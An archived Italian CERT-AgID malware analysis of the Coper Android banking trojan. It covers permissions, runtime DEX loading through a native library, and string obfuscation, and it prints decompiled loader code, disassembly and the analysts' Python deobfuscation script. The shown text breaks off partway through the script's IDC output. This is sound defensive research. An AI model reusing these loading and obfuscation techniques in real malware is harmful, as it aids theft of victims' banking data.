{
	"id": "6bbaf33b-10f1-4f19-978b-e11845ea689c",
	"created_at": "2026-04-06T01:29:19.314649Z",
	"updated_at": "2026-04-10T03:22:12.466967Z",
	"deleted_at": null,
	"sha1_hash": "36503fa30549c1922f729f54a067be2fa202a5b8",
	"title": "Analisi e approfondimenti tecnici sul malware Coper utilizzato per attaccare dispositivi mobili",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1924357,
	"plain_text": "Analisi e approfondimenti tecnici sul malware Coper utilizzato per\nattaccare dispositivi mobili\nArchived: 2026-04-06 01:26:20 UTC\nQuesto articolo è un approfondimento tecnico effettuato sul campione individuato dal CERT-AgID nel mese di Maggio 2022\nche aiuta a svelare la natura del malware Coper, utilizzato di recente da campagne malware che prendevano di mira\ndispositivi mobili, e che fornisce interessanti spunti di riflessione sulle tecniche utilizzate dai suoi sviluppatori per\nproteggere il sample, per comunicare con il C2 e gestirne le risposte, per garantirsi la persistenza sul dispositivo una volta\ncompromesso e su come impedisce agli analisti di fare attribuzione basata sui paesi immuni.\nIl Manifest\nCome per tutte le applicazioni Android anche per Coper l’analisi inizia dal Manifest.\n\nandroid:windowSoftInputMode=\"adjustResize\"/\u003e\n\nandroid:name=\"com.leadendq.thonuiqzjraes\"/\u003e  Il Manifest contiene la lista dei componenti di un’applicazione e permette di delineare una panoramica delle funzionalità\nsenza entrare subito nei dettagli del codice.\nDi seguito illustriamo un sunto incentrato su i due aspetti che più sono utili per farsi un’idea delle funzionalità del malware:\ni permessi ed i componenti dell’App.\nI permessi\nPer funzionare, il malware richiede almeno Android 5.0, un requisito che è soddisfatto da più del 97% dei dispositivi\nAndroid alla data attuale (19/07/2022), e 26 permessi divisi nelle seguenti categorie:\nGestione delle altre app (CLEAR_APP_CACHE, REQUEST_DELETE_PACKAGES, REORDER_TASKS)\nEsecuzione in background (FOREGROUND_SERVICE, RECEIVE_BOOT_COMPLETED)1\nGestione SMS e telefonia (RECEIVE_SMS, READ_SMS, READ_PHONE_STATE, SEND_SMS,\nREAD_PHONE_STATE, CALL_PHONE, ADD_VOICEMAIL)\nCreazione di notifiche (ACCESS_NOTIFICATION_POLICY, VIBRATE)\nGestione del risparmio batteria in background (WAKE_LOCK,\nREQUEST_COMPANION_RUN_IN_BACKGROUND, REQUEST_COMPANION_USE_DATA_IN_BACKGROUND,\nREQUEST_IGNORE_BATTERY_OPTIMIZATIONS)\nBlocco software del dispositivo (MODIFY_AUDIO_SETTINGS, USES_POLICY_FORCE_LOCK)\nConnettività (INTERNET, ACCESS_WIFI_STATE, ACCESS_NETWORK_STATE)\nModifiche ed accesso al sistema (INSTALL_SHORTCUT, WRITE_SETTINGS, READ_EXTERNAL_STORAGE)\nUn servizio in foreground è comunque un servizio eseguito indipendentemente dall’activity attualmente attiva.\nIl profilo che si delinea è quello del classico malware per Android che garantisce l’accesso al dispositivo tramite servizi in\nbackground, raccoglie informazioni riguardanti le applicazioni installate (con il fine di presentare gli Inject appropriati),\nlegge e redirige SMS e chiamate per ottenere i codice 2FA e blocco software del dispositivo (l’audio viene disattivato e lo\nschermo bloccato in continuazione, impedendo l’utilizzo del dispositivo).\nI componenti\nI permessi utilizzati, da soli, non sono sufficienti per determinare le caratteristiche di un malware per Android. Infatti, al di\nlà del codice effettivamente presente nell’applicazione malevola, componenti come servizi e broadcast receiver richiedono a\nloro volta permessi appositi per poter essere lanciati e tali permessi sono ottenuti a runtime (ad esempio la necessità di avere\nil permesso BIND_ACCESSIBILITY_SERVICE per poter avviare un servizio di accessibilità).\nAnalizzeremo i vari componenti di seguito limitandoci qui a questa breve panoramica:\nApplicazione. Nel manifest è indicata un’apposita classe come tipo dell’oggetto applicazione. Questo permette di\neseguire codice durante il ciclo di vita dell’applicazione stessa (anzichè dei singoli componenti) ed è una tecnica ben\nnota ed usata per il caricamento a runtime di classi aggiuntive contenute in file DEX esterni. Vedremo sotto il\ndettaglio.\nActivity principale. Comporta la visualizzazione di un’icona nel launcher.\nReceiver per Device Admin. Intent Receiver per dare funzionalità di amministratore all’applicazione.\nVari Receiver e Activity per la lettura e l’invio degli SMS, MMS e notifiche WAP e per rispondere alle chiamate\nin ingresso con un SMS (un modo per silenziare quest’ultime).\nUn Receiver che fa da raccoglitore di eventi del sistema (avvio, connettività, installazione e rimozione\napplicazioni, presenza dell’utente, stato dello schermo).\nUn servizio di accessibilità che dà il controllo completo del dispositivo al malware.\nCirca una quarantina tra Receiver e Activity generiche (stando a quanto contenuto nel manifest).\nDEX a runtime\nLa presenza di una classe specifica per intercettare gli eventi del ciclo di vita dell’applicazione fa pensare al classico\nmeccanismo di caricamento di DEX aggiuntivi a runtime. Infatti le classi effettivamente presenti nel DEX nell’APK\ncorrispondono a servizi ed activity che non fanno niente. A titolo di esempio si riporta il codice di due di questi componenti:\npublic class ylxnbgoahg extends Service { @Override // android.app.Service public IBinder onBind(Intent\nintent) { return null; } @Override // android.app.Service public int onStartCommand(Intent intent, int i, int\ni2) { return 2; } }\npublic class ywzsyumnkjkluk extends Activity { /* access modifiers changed from: protected */ @Override //\nandroid.app.Activity public void onCreate(Bundle bundle) { super.onCreate(bundle); } }\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\nPage 3 of 26\n\nCi sono solo tre classi utili all’interno dell’APK:\r\n1. BuildConfig contiene la versione dell’applicazione che in questo sample è impostata a 5.5.\r\n2. C0265R è la classe delle risorse (Il cui nome è R quando non offuscata).\r\n3. LBXlHKkaN è la classe dell’applicazione, dove già è visibile che il metodo attachBaseContext è stato “overridato”.\r\nAltri componenti e JNI\r\nRisulta ormai chiaro che i componenti presenti nel manifest ma mancanti nell’APK sono caricati a runtime in\r\nattachBaseContext. il metodo che contiene il codice della classe è il seguente::\r\npublic class LBXlHKkaN extends Application { public native void jpXOrO(Object obj); /* access modifiers\r\nchanged from: protected */ @Override // android.content.ContextWrapper public void attachBaseContext(Context\r\ncontext) { super.attachBaseContext(context); try { Method declaredMethod =\r\nLBXlHKkaN.class.getDeclaredMethod(\"jpXOrO\", Object.class); declaredMethod.setAccessible(true);\r\ndeclaredMethod.invoke(this, context); } catch (Exception e) { e.printStackTrace(); } } static {\r\nSystem.loadLibrary(\"uXTAbVUl\"); } }\r\nIl compito di questa classe è quello di caricare la libreria uXTAbVUl ed eseguire il proprio metodo jpXOrO: quest’ultimo è\r\nun metodo nativo e quindi implementato dalla libreria appena caricata.\r\nE’ interessante notare che questa scelta di utilizzare una libreria nativa può limitare le architetture su cui il malware può\r\neseguirsi. Le architetture supportate sono mostrate in figura:\r\nIl malware supporta quindi x86 (32 e 64 bit) ed ARM (32 e 64 bit, nello specifico v7a e v8a), quindi la virtuale totalità dei\r\ndispositivi Android.\r\nPer ottenere il file DEX con gli altri componenti è necessario analizzare il codice nativo. Si è scelto quindi di analizzare la\r\nversione x86_64 in modo da usare una versione gratuita di IDA per Linux.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 4 of 26\n\nQuando alla JVM è richiesto di risolvere il nome di un metodo nativo Class::method, essa cerca nelle librerie caricate un\r\nmetodo di nome Java_\u003cmangled_full_class_name\u003e_\u003cmangled_method_name\u003e. Le specifiche (tra cui il mangling) sono\r\ndefinite qui ed includono la possibilità di avere metodi nativi overloadati. Ci si aspetta quindi di trovare nella libreria un\r\nsimbolo pubblico di nome Java_com_leadendq_LBXlHKkaN_jpXOrO. Infatti questo è l’unico metodo esportato alla JVM in\r\nquanto è l’unico che inizia per Java_.\r\nUn rapido sguardo ai simboli e al codice presenti nella libreria ci informa che è stata scritta in C++: i nomi seguono infatti il\r\nmangling C++ (che è ripreso dall’ABI dell’architettura Itanium anche per le altre architetture). L’esempio sotto è\r\nchiarificatore:\r\nmov rbx, rbp mov r12, r13 mov rbp, r14 mov rax, [r14] lea rsi, [rsp+508h+var_272] mov rdi, r14 call qword ptr\r\n[rax+538h] mov rdi, r14 mov rsi, r15 mov rdx, rbx mov r13, rbx mov rcx, rax xor eax, eax call\r\n__ZN7_JNIEnv16CallObjectMethodEP8_jobjectP10_jmethodIDz ; _JNIEnv::CallObjectMethod(_jobject *,_jmethodID\r\n*,...) mov rbx, rax mov rax, [r14] mov rdi, r14 mov rsi, rbx call qword ptr [rax+0F8h]\r\nNotiamo anche che le stringhe sono generate tramite chiamate a strcpy e strcat (tecnicamente alle loro versioni safe esposte\r\nda bionic, l’implementazione di libc di Android). Infatti Java_com_leadendq_LBXlHKkaN_jpXOrO contiene un enorme\r\nprologo in cui sono generate le stringhe usate, concatenando un carattere alla volta.\r\npush rbp push r15 push r14 push r13 push r12 push rbx sub rsp, 4D8h mov [rsp+508h+var_500], rdx mov\r\n[rsp+508h+var_4D8], rdi mov rax, fs:28h mov [rsp+508h+var_38], rax lea rsi, aE_0 ; \"E\" lea rbp,\r\n[rsp+508h+var_68] mov edx, 21h ; '!' mov ecx, 21h ; '!' mov r8d, 2 mov rdi, rbp call ___strncpy_chk2 lea rsi,\r\nasc_1339 ; \"F\" mov edx, 21h ; '!' mov ecx, 21h ; '!' mov rdi, rbp call ___strncat_chk lea r12, aA ; \"A\" mov\r\nedx, 21h ; '!' mov ecx, 21h ; '!' mov rdi, rbp mov rsi, r12 call ___strncat_chk lea r14, aXzkns ; \"XZkNs\" mov\r\nedx, 21h ; '!' mov ecx, 21h ; '!' mov rdi, rbp mov rsi, r14 call ___strncat_chk\r\nQuello che si osserva è probabilmente il risultato di un’offuscazione ottenibile tramite meta-programmazione (ovvero\r\ntramite template).\r\nCi sono due inconvenienti per l’analisi del codice di questa libreria:\r\n1. Le chiamate all’oggetto JNIEnv che per loro natura appaiono come chiamate indirette della forma call [base +\r\ndisplacemente].\r\n2. L’offuscazione delle stringhe che amplifica il codice di una funzione ed è difficile da seguire manualmente.\r\nOgni funzione JNI riceve come primo parametro un puntatore ad oggetto JNIEnv: questo rappresenta l’ambiente della JVM\r\ne fa da collante tra il mondo nativo e quello Java. In particolare permette di chiamare metodi di oggetti, di creare stringhe,\r\narray e così via.\r\nJNIEnv è definito come un puntatore ad una struttura JNINativeInterface (la quale è a sua volta un array di puntatori alle\r\nvarie funzioni esposte). Questo layout (che ha una rappresentazione grafica qui) è in realtà identico a quello degli oggetti\r\nC++ (sempre sotto ABI itanium che fa da standard di riferimento) e COM che in realtà si tratta di una classica vtable.\r\nDato che la vtable è documentata, è possibile utilizzare uno script per annotare accanto ad ogni call la funzione chiamata.\r\nAlternativamente sarebbe possibile descrivere la struttura in IDA e lasciare che sia questa a risolvere le chiamate. È stato\r\nscelto di utilizzare iced-x86 per analizzare il codice macchina e generare lo script IDC!\r\nEstrarre il DEX\r\nLo script mostrato sotto genera lo script IDC per annotare le chiamate JNIEnv e per ricostruire le stringhe.\r\nfrom iced_x86 import * from pwn import * #Globals and data formatter = Formatter(FormatterSyntax.NASM)\r\ninfo_factory = InstructionInfoFactory() ENV_VTABLE = [ \"NULL\", \"NULL\", \"NULL\", \"NULL\", \"GetVersion\",\r\n\"DefineClass\", \"FindClass\", \"FromReflectedMethod\", \"FromReflectedField\", \"ToReflectedMethod\", \"GetSuperclass\",\r\n\"IsAssignableFrom\", \"ToReflectedField\", \"Throw\", \"ThrowNew\", \"ExceptionOccurred\", \"ExceptionDescribe\",\r\n\"ExceptionClear\", \"FatalError\", \"PushLocalFrame\", \"PopLocalFrame\", \"NewGlobalRef\", \"DeleteGlobalRef\",\r\n\"DeleteLocalRef\", \"IsSameObject\", \"NewLocalRef\", \"EnsureLocalCapacity\", \"AllocObject\", \"NewObject\",\r\n\"NewObjectV\", \"NewObjectA\", \"GetObjectClass\", \"IsInstanceOf\", \"GetMethodID\", \"CallObjectMethod\",\r\n\"CallObjectMethodV\", \"CallObjectMethodA\", \"CallBooleanMethod\", \"CallBooleanMethodV\", \"CallBooleanMethodA\",\r\n\"CallByteMethod\", \"CallByteMethodV\", \"CallByteMethodA\", \"CallCharMethod\", \"CallCharMethodV\", \"CallCharMethodA\",\r\n\"CallShortMethod\", \"CallShortMethodV\", \"CallShortMethodA\", \"CallIntMethod\", \"CallIntMethodV\", \"CallIntMethodA\",\r\n\"CallLongMethod\", \"CallLongMethodV\", \"CallLongMethodA\", \"CallFloatMethod\", \"CallFloatMethodV\",\r\n\"CallFloatMethodA\", \"CallDoubleMethod\", \"CallDoubleMethodV\", \"CallDoubleMethodA\", \"CallVoidMethod\",\r\n\"CallVoidMethodV\", \"CallVoidMethodA\", \"CallNonvirtualObjectMethod\", \"CallNonvirtualObjectMethodV\",\r\n\"CallNonvirtualObjectMethodA\", \"CallNonvirtualBooleanMethod\", \"CallNonvirtualBooleanMethodV\",\r\n\"CallNonvirtualBooleanMethodA\", \"CallNonvirtualByteMethod\", \"CallNonvirtualByteMethodV\",\r\n\"CallNonvirtualByteMethodA\", \"CallNonvirtualCharMethod\", \"CallNonvirtualCharMethodV\",\r\n\"CallNonvirtualCharMethodA\", \"CallNonvirtualShortMethod\", \"CallNonvirtualShortMethodV\",\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 5 of 26\n\n\"CallNonvirtualShortMethodA\", \"CallNonvirtualIntMethod\", \"CallNonvirtualIntMethodV\",\r\n\"CallNonvirtualIntMethodA\", \"CallNonvirtualLongMethod\", \"CallNonvirtualLongMethodV\",\r\n\"CallNonvirtualLongMethodA\", \"CallNonvirtualFloatMethod\", \"CallNonvirtualFloatMethodV\",\r\n\"CallNonvirtualFloatMethodA\", \"CallNonvirtualDoubleMethod\", \"CallNonvirtualDoubleMethodV\",\r\n\"CallNonvirtualDoubleMethodA\", \"CallNonvirtualVoidMethod\", \"CallNonvirtualVoidMethodV\",\r\n\"CallNonvirtualVoidMethodA\", \"GetFieldID\", \"GetObjectField\", \"GetBooleanField\", \"GetByteField\", \"GetCharField\",\r\n\"GetShortField\", \"GetIntField\", \"GetLongField\", \"GetFloatField\", \"GetDoubleField\", \"SetObjectField\",\r\n\"SetBooleanField\", \"SetByteField\", \"SetCharField\", \"SetShortField\", \"SetIntField\", \"SetLongField\",\r\n\"SetFloatField\", \"SetDoubleField\", \"GetStaticMethodID\", \"CallStaticObjectMethod\", \"CallStaticObjectMethodV\",\r\n\"CallStaticObjectMethodA\", \"CallStaticBooleanMethod\", \"CallStaticBooleanMethodV\", \"CallStaticBooleanMethodA\",\r\n\"CallStaticByteMethod\", \"CallStaticByteMethodV\", \"CallStaticByteMethodA\", \"CallStaticCharMethod\",\r\n\"CallStaticCharMethodV\", \"CallStaticCharMethodA\", \"CallStaticShortMethod\", \"CallStaticShortMethodV\",\r\n\"CallStaticShortMethodA\", \"CallStaticIntMethod\", \"CallStaticIntMethodV\", \"CallStaticIntMethodA\",\r\n\"CallStaticLongMethod\", \"CallStaticLongMethodV\", \"CallStaticLongMethodA\", \"CallStaticFloatMethod\",\r\n\"CallStaticFloatMethodV\", \"CallStaticFloatMethodA\", \"CallStaticDoubleMethod\", \"CallStaticDoubleMethodV\",\r\n\"CallStaticDoubleMethodA\", \"CallStaticVoidMethod\", \"CallStaticVoidMethodV\", \"CallStaticVoidMethodA\",\r\n\"GetStaticFieldID\", \"GetStaticObjectField\", \"GetStaticBooleanField\", \"GetStaticByteField\",\r\n\"GetStaticCharField\", \"GetStaticShortField\", \"GetStaticIntField\", \"GetStaticLongField\", \"GetStaticFloatField\",\r\n\"GetStaticDoubleField\", \"SetStaticObjectField\", \"SetStaticBooleanField\", \"SetStaticByteField\",\r\n\"SetStaticCharField\", \"SetStaticShortField\", \"SetStaticIntField\", \"SetStaticLongField\", \"SetStaticFloatField\",\r\n\"SetStaticDoubleField\", \"NewString\", \"GetStringLength\", \"GetStringChars\", \"ReleaseStringChars\", \"NewStringUTF\",\r\n\"GetStringUTFLength\", \"GetStringUTFChars\", \"ReleaseStringUTFChars\", \"GetArrayLength\", \"NewObjectArray\",\r\n\"GetObjectArrayElement\", \"SetObjectArrayElement\", \"NewBooleanArray\", \"NewByteArray\", \"NewCharArray\",\r\n\"NewShortArray\", \"NewIntArray\", \"NewLongArray\", \"NewFloatArray\", \"NewDoubleArray\", \"GetBooleanArrayElements\",\r\n\"GetByteArrayElements\", \"GetCharArrayElements\", \"GetShortArrayElements\", \"GetIntArrayElements\",\r\n\"GetLongArrayElements\", \"GetFloatArrayElements\", \"GetDoubleArrayElements\", \"ReleaseBooleanArrayElements\",\r\n\"ReleaseByteArrayElements\", \"ReleaseCharArrayElements\", \"ReleaseShortArrayElements\", \"ReleaseIntArrayElements\",\r\n\"ReleaseLongArrayElements\", \"ReleaseFloatArrayElements\", \"ReleaseDoubleArrayElements\", \"GetBooleanArrayRegion\",\r\n\"GetByteArrayRegion\", \"GetCharArrayRegion\", \"GetShortArrayRegion\", \"GetIntArrayRegion\", \"GetLongArrayRegion\",\r\n\"GetFloatArrayRegion\", \"GetDoubleArrayRegion\", \"SetBooleanArrayRegion\", \"SetByteArrayRegion\",\r\n\"SetCharArrayRegion\", \"SetShortArrayRegion\", \"SetIntArrayRegion\", \"SetLongArrayRegion\", \"SetFloatArrayRegion\",\r\n\"SetDoubleArrayRegion\", \"RegisterNatives\", \"UnregisterNatives\", \"MonitorEnter\", \"MonitorExit\", \"GetJavaVM\",\r\n\"GetStringRegion\", \"GetStringUTFRegion\", \"GetPrimitiveArrayCritical\", \"ReleasePrimitiveArrayCritical\",\r\n\"GetStringCritical\", \"ReleaseStringCritical\", \"NewWeakGlobalRef\", \"DeleteWeakGlobalRef\", \"ExceptionCheck\",\r\n\"NewDirectByteBuffer\", \"GetDirectBufferAddress\", \"GetDirectBufferCapacity\", \"GetObjectRefType\", ] \"\"\" Make a\r\nbasic block of a CFG. A block is a dict with the following keys: start - the VA where the block start end - the\r\nfirst VA NOT belonging to the block (i.e. the VA just after the last instruction of the block) code - the\r\ninstructions of the block. This is a dict, the keys are the VA and the values are iced-x86 instruction objects\r\nfollow - the block the follow (thtough) this one. This can be None if this block ends with a ret for example.\r\nbranch - the block that is the target of a conditional jump. \"\"\" def make_block(elf, va, blocks_done=None):\r\n#blocks_done must be a list but we cannot set the default value to [] due to how Python parsing works if\r\nblocks_done is None: blocks_done = [] #Make an empty block starting and ending at va def new_block(va): b = {\r\n\"start\": va, \"end\": va, \"code\": {}, \"follow\": None, \"branch\": None } #Append the new block in the done list so\r\nwe won't recurse forever blocks_done.append(b) return b #Checks if va belong to a block already processed.\r\n#This avoids infinite recutions on loops. #Furthermore if va is in the middle of a block, that block is split\r\ndef check_done_and_split(va, split = True): for b in blocks_done: #The easy case: there is a block already\r\nprocessed at va if b[\"start\"] == va: return b #The va address is in the middle of a block if va \u003e b[\"start\"]\r\nand va \u003c b[\"end\"]: #va is in this block, stop here without splitting if split is False #this is used to stop\r\nenumerating the istruction in a block earlier than normal (which would be when we found a jump, ret and so on)\r\nif not split: return b #Make a new block at va f = new_block(va) f[\"end\"] = b[\"end\"] f[\"code\"] = {v:i for v,i\r\nin b[\"code\"].items() if v \u003e= va } f[\"follow\"] = b[\"follow\"] f[\"branch\"] = b[\"branch\"] #Update the current block\r\nb[\"code\"] = {v:i for v,i in b[\"code\"].items() if v \u003c va } b[\"follow\"] = f b[\"branch\"] = None b[\"end\"] = va\r\nreturn f #The va is not in any block return None #__stack_chk_fail is used to terminate a block on GCC/clang,\r\nwe consider a call to it a terminating condition fail = elf.plt[\"__stack_chk_fail\"] #Check if this va is\r\nalready done before making a new block b = check_done_and_split(va) if b: return b #Make a new block listing =\r\nnew_block(va) #Do until the block ends while True: #Max x86 inst len is 16B, we read 16B and decode the\r\ninstruction code = elf.read(va, 16) #Decode the instruction (this is much slower than mapping the code segment\r\nbut it works) dec = Decoder(64, code, ip=va) inst = next(dec, None) if inst is None: raise ValueError(f\"Cannot\r\ndecode at VA {va}\") #Add the instruction to the code listing[\"code\"][va] = inst #Check if this instruction\r\njumps somewhere cflow = inst.flow_control #call, int and normal instruction don't end the block... if cflow in\r\n[FlowControl.NEXT, FlowControl.CALL, FlowControl.INDIRECT_CALL, FlowControl.INTERRUPT]: #... unless is a call\r\nto fail if cflow == FlowControl.CALL and inst.near_branch_target == fail: return listing #Next va to fetch and\r\ndecode (also: update \"end\") va = va + inst.len listing[\"end\"] = va #We need to check if we stepped into a\r\nsplitted block next_b = check_done_and_split(va, False) if next_b: #We did, stop here and set that flow as the\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 6 of 26\n\nnext one listing[\"follow\"] = b return listing continue #ret and ud1, ud2 terminate the block elif cflow in\r\n[FlowControl.RETURN, FlowControl.EXCEPTION]: return listing #jmp elif cflow ==\r\nFlowControl.UNCONDITIONAL_BRANCH: #far calls are not used on mainstream OSes if inst.op0_kind !=\r\nOpKind.NEAR_BRANCH64: raise ValueError(\"FAR BRANCH not implemented\") #Make the follow block at the target VA\r\nlisting[\"follow\"] = make_block(elf, inst.near_branch_target, blocks_done) return listing #jmp [] we don't track\r\nvalues so we throw here elif cflow == FlowControl.INDIRECT_BRANCH: raise ValueError(\"Indirect branch not\r\nimplemented\") #ditto elif cflow == FlowControl.XBEGIN_XABORT_XEND: raise ValueError(\"RTM not implemented\") #jcc\r\nelif cflow == FlowControl.CONDITIONAL_BRANCH: #ditto if inst.op0_kind != OpKind.NEAR_BRANCH64: raise\r\nValueError(\"FAR BRANCH not implemented\") #Make the blocks for the two branches listing[\"follow\"] =\r\nmake_block(elf, va + inst.len, blocks_done) listing[\"branch\"] = make_block(elf, inst.near_branch_target,\r\nblocks_done) return listing else: raise ValueError(\"Unknown flow type\") #This is just for debug def\r\nprint_cfg(b, left=0, done=None): if done is None: done = [] print(\"\\t\" * left, end=\"\") print(hex(b[\"start\"]))\r\nif b[\"start\"] in done: return; done.append(b[\"start\"]) if b[\"follow\"]: print_cfg(b[\"follow\"], left + 1, done)\r\nif b[\"branch\"]: print_cfg(b[\"branch\"], left + 1, done) #Just debug, taken from iced-x86 def\r\ncreate_enum_dict(module): return {module.__dict__[key]:key for key in module.__dict__ if\r\nisinstance(module.__dict__[key], int)} REGISTER_TO_STRING = create_enum_dict(Register) def\r\nregister_to_string(value): s = REGISTER_TO_STRING.get(value) if s is None: return str(value) + \" /*Register\r\nenum*/\" return s def print_registers(regs): for r,v in regs.items(): print(f\"{register_to_string(r)} =\r\n{hex(v)}\") #This is an helper that executes a callback for each instruction in a block and successors def\r\nfor_each_instruction(b, cb, arg=None): #Terminating condition if b is None: return #Call the callback for va, i\r\nin b[\"code\"].items(): cb(va, i, arg) #Recursive step for_each_instruction(b[\"follow\"], cb, arg)\r\nfor_each_instruction(b[\"branch\"], cb, arg) \"\"\" This method finds any call to a memory address (i.e. indirect\r\ncall with mem) and resolve the index (from the displacement field of the instruction) into the JNIEnv vtable.\r\nThis is prone to false positive, it is called only for user functions to avoid as much as false positives as\r\npossible \"\"\" def find_env_calls(va, i, arg): if i.mnemonic == Mnemonic.CALL and i.op_kind(0) == OpKind.MEMORY:\r\ninfo = info_factory.info(i) mem = info.used_memory()[0] idx = mem.displacement // 8 if idx \u003e= 0 and idx \u003c\r\nlen(ENV_VTABLE): arg[va] = ENV_VTABLE[idx] #Map SOME register to its 64-bit name. This is minimal set of\r\nregister required to process this sample. def r64(r): if r == Register.EDX: return Register.RDX if r ==\r\nRegister.ECX: return Register.RCX if r == Register.ESI: return Register.RSI if r == Register.EDI: return\r\nRegister.RDI if r == Register.R8D: return Register.R8 return r #Read r8 data from rsi def get_source(elf,\r\nregs): #r8 = len #rsi = start return elf.read(regs[Register.RSI], regs[Register.R8]) \"\"\" This function traces\r\nthe minimum set of values to recreate the strings The idea is to process: mov reg, reg (and variants), mov reg,\r\nimm (and variant) and lea reg, xxx. The register are renamed to their full 64-bit name to avoid implementing a\r\nmerge. This is NOT x86 correct but work in this sample \"\"\" def trace_strings(elf, b, strcpy, strcat, regs={}):\r\nstrings = {} #Write RSP in the register map regs[Register.RSP] = 0 #For each instruction for va, i in\r\nb[\"code\"].items(): #mov reg, reg if i.code == Code.MOV_RM64_R64 and i.op_kind(0) == OpKind.REGISTER:\r\nregs[r64(i.op_register(0))] = regs[r64(i.op_register(1))] #mov reg, reg elif i.code == Code.MOV_R64_RM64 and\r\ni.op_kind(1) == OpKind.REGISTER: regs[r64(i.op_register(0))] = regs[i.op_register(1)] #mov reg, imm elif i.code\r\n== Code.MOV_R32_IMM32: regs[r64(i.op_register(0))] = i.immediate(1) #mov reg, imm elif i.code ==\r\nCode.MOV_R64_IMM64: regs[r64(i.op_register(0))] = i.immediate(1) #mov reg, imm elif i.code ==\r\nCode.MOV_RM64_IMM32 and i.op_kind(0) == OpKind.REGISTER: regs[r64(i.op_register(0))] = i.immediate(1) #mov reg,\r\nimm elif i.code == Code.MOV_RM32_IMM32 and i.op_kind(0) == OpKind.REGISTER: regs[r64(i.op_register(0))] =\r\ni.immediate(1) #lea reg, [rsp + xxx] elif i.code == Code.LEA_R64_M and i.memory_base == Register.RSP: #This\r\ndenote the START of a string, we set the register to the VA of the instruction and NOT #to the memory operand\r\n(which we cannot represent as a number anyway) so that we know that rdi will #hold the va of the instruction\r\nthat started the string (and to comment) when a call to strcpy or strcat is done regs[r64(i.op_register(0))] =\r\nva #call to strcpy elif i.mnemonic == Mnemonic.CALL and i.near_branch_target == strcpy: #Get the data to copy\r\nsrc = get_source(elf, regs) #Set the string strings[regs[Register.RDI]] = src #call to strcat elif i.mnemonic\r\n== Mnemonic.CALL and i.near_branch_target == strcat: #Get the data to cat src = get_source(elf, regs) #Cancat\r\nthe data strings[regs[Register.RDI]] += src #lea res, [xxx] elif i.code == Code.LEA_R64_M and i.memory_base ==\r\nRegister.RIP: #iced-x86 computer RIP-relative addresses \u003c3 regs[r64(i.op_register(0))] = i.memory_displacement\r\nreturn strings \"\"\" Main code \"\"\" calls = {} #Load the lib elf_lib = ELF(\"libuXTAbVUl.so\") #For each java or C++\r\nfunction for f, va in elf_lib.symbols.items(): if (f.startswith(\"Java_\") or f.startswith(\"_Z\")) and f !=\r\n\"_Znam\": #Get the CFG b = make_block(elf_lib, va) #Find the JNIEnv calls for_each_instruction(b,\r\nfind_env_calls, calls) #Rebuild the strings s = trace_strings(elf_lib, b, elf_lib.plt[\"__strncpy_chk2\"],\r\nelf_lib.plt[\"__strncat_chk\"]) #Print the IDC instructions to comment the IDA db (for the strings) for sea, sv\r\nin s.items(): #We assume no real unicode char is used and we simply drop zero bytes sv = sv.replace(b\"\\x00\",\r\nb\"\").decode() print(f\"set_cmt({hex(sea)}, \\\"{sv}\\\", 1);\") #Print the IDC for the JNIcalls for ea, cmt in\r\ncalls.items(): print(f\"set_cmt({hex(ea)}, \\\"{cmt}\\\", 1);\")\r\nLo script è strutturato in tre parti:\r\n1. make_block è una funzione che a partire da un VA in un ELF costruisce un CFG rappresentato da un grafo di\r\ndizionari collegati. I blocchi sono usati per l’analisi del codice macchina.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 7 of 26\n\n2. trace_strings è la funzione che ricostruisce le stringhe. L’idea su cui si basa è semplice: ogni stringa inizia con una\r\nchiamata a __strncpy_chk2 e l’indirizzo a cui scriverla è calcolato con un’istruzione del tipo lea r64,\r\n[rsp+displacement]. I caratteri sono poi aggiunti tramite __strncat_chk uno alla volta. Questa funzione quindi\r\nimplementa un’esecuzione simbolica e concreta minimale per supportare quella manciata di tipi di istruzioni generati\r\ndal meccanismo di offuscazione (maggiori dettagli sono riportati nei commenti del codice).\r\n3. find_env_calls è la funzione che risolve i nome delle chiamate JNIEnv.\r\nIl risultato ottenuto eseguito il codice python è lo script IDC mostrato sotto.\r\nset_cmt(0xb608, \"getAssets\", 1); set_cmt(0xb6f0, \"()Landroid/content/res/AssetManager;\", 1); set_cmt(0xba53,\r\n\"open\", 1); set_cmt(0xbaba, \"(Ljava/lang/String;)Ljava/io/InputStream;\", 1); set_cmt(0xbeb1, \"available\", 1);\r\nset_cmt(0xbf8e, \"()I\", 1); set_cmt(0xbfed, \"read\", 1); set_cmt(0xc058, \"([B)I\", 1); set_cmt(0x8d07,\r\n\"getExternalCacheDir\", 1); set_cmt(0x8eee, \"()Ljava/io/File;\", 1); set_cmt(0x9079, \"java/io/File\", 1);\r\nset_cmt(0x91a0, \"getPath\", 1); set_cmt(0x9254, \"()Ljava/lang/String;\", 1); set_cmt(0x944b,\r\n\"getApplicationInfo\", 1); set_cmt(0x9605, \"()Landroid/content/pm/ApplicationInfo;\", 1); set_cmt(0x99a3,\r\n\"android/content/pm/ApplicationInfo\", 1); set_cmt(0x9cdc, \"dataDir\", 1); set_cmt(0x9d91, \"Ljava/lang/String;\",\r\n1); set_cmt(0x1b33, \"EFAXVStkcDXNGbc3odLA5hHsC6osT5SE\", 1); set_cmt(0x1e53, \"com.leadendq:raw/tgvfowooof\", 1);\r\nset_cmt(0x20ed, \"tgvfowooof\", 1); set_cmt(0x21d4, \"getResources\", 1); set_cmt(0x2310, \"\r\n()Landroid/content/res/Resources;\", 1); set_cmt(0x262c, \"getIdentifier\", 1); set_cmt(0x2769, \"\r\n(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I\", 1); set_cmt(0x2cd5, \"openRawResource\", 1);\r\nset_cmt(0x2e52, \"(I)Ljava/io/InputStream;\", 1); set_cmt(0x30b7, \"available\", 1); set_cmt(0x3194, \"()I\", 